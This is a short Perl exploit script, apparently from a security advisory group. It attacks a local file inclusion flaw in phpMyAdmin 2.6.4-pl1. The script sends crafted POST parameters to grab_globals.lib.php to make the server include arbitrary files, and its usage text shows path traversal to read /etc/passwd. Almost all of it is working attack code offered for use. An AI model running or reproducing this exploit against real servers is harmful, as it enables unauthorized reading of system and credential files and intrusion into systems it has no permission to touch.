#!/usr/bin/perl use IO::Socket; # CXSecurity TEAM # Maksymilian Arciemowicz # Local file inclusion (./$FILE) # simple exploit phpMyAdmin 2.6.4-pl1 # # # CXSecurity if (@ARGV < 3) { print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n"; print " \r\n"; print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n"; print "HOST - Host where is phpmyadmin example: http://localhost\r\n"; print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n"; print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n"; print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n"; exit(); } $HOST = $ARGV[0]; $DIR = $ARGV[1]."libraries/grab_globals.lib.php"; $FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][cXIb8O3]=1"; $LENGTH = length $FILE; print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n"; $HOST =~ s/(http:\/\/)//; $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n"; print $get1 "POST ".$DIR." HTTP/1.0\n"; print $get1 "Host: ".%HOST."\n"; print $get1 "Content-Type: application/x-www-form-urlencoded\n"; print $get1 "Content-Length: ".$LENGTH."\n\n"; print $get1 $FILE; while ($odp = <$get1>) { if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) { printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n"; exit; } printf $odp; }